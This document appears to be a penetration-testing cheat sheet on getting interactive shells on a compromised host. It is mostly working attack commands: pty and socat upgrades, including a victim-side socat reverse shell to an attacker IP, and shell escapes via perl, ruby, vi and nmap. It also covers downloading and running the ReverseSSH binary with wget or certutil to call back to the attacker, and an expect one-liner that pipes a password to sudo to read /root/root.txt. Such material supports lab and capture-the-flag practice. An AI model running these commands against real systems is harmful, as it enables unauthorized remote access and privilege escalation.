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Full TTYs

Full TTY

Note that the shell you set in the SHELL variable must be listed inside /etc/shells or The value for the SHELL variable was not found in the /etc/shells file This incident has been reported. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running bash.
python3 -c 'import pty; pty.spawn("/bin/bash")'
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
script -qc /bin/bash /dev/null
(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
#Listener:
socat file:`tty`,raw,echo=0 tcp-listen:4444
#Victim:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

Spawn shells

  • python -c 'import pty; pty.spawn("/bin/sh")'
  • echo os.system('/bin/bash')
  • /bin/sh -i
  • script -qc /bin/bash /dev/null
  • perl -e 'exec "/bin/sh";'
  • perl: exec "/bin/sh";
  • ruby: exec "/bin/sh"
  • lua: os.execute('/bin/sh')
  • IRB: exec "/bin/sh"
  • vi: :!bash
  • vi: :set shell=/bin/bash:shell
  • nmap: !sh

ReverseSSH

A convenient way for interactive shell access, as well as file transfers and port forwarding, is dropping the statically-linked ssh server ReverseSSH onto the target.
Below is an example for x86 with upx-compressed binaries. For other binaries, check releases page.
  1. 1.
    Prepare locally to catch the ssh port forwarding request:
# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
/dev/shm/reverse-ssh -v -l -p 4444
  • (2a) Linux target:
# Drop it via your preferred way, e.g.
wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
/dev/shm/reverse-ssh -p 4444 [email protected]
# Drop it via your preferred way, e.g.
certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe
reverse-ssh.exe -p 4444 [email protected]
  • If the ReverseSSH port forwarding request was successful, you should now be able to log in with the default password letmeinbrudipls in the context of the user running reverse-ssh(.exe):
# Interactive shell access
ssh -p 8888 127.0.0.1
# Bidirectional file transfer
sftp -P 8888 127.0.0.1

No TTY

If for some reason you cannot obtain a full TTY you still can interact with programs that expect user input. In the following example, the password is passed to sudo to read a file:
expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'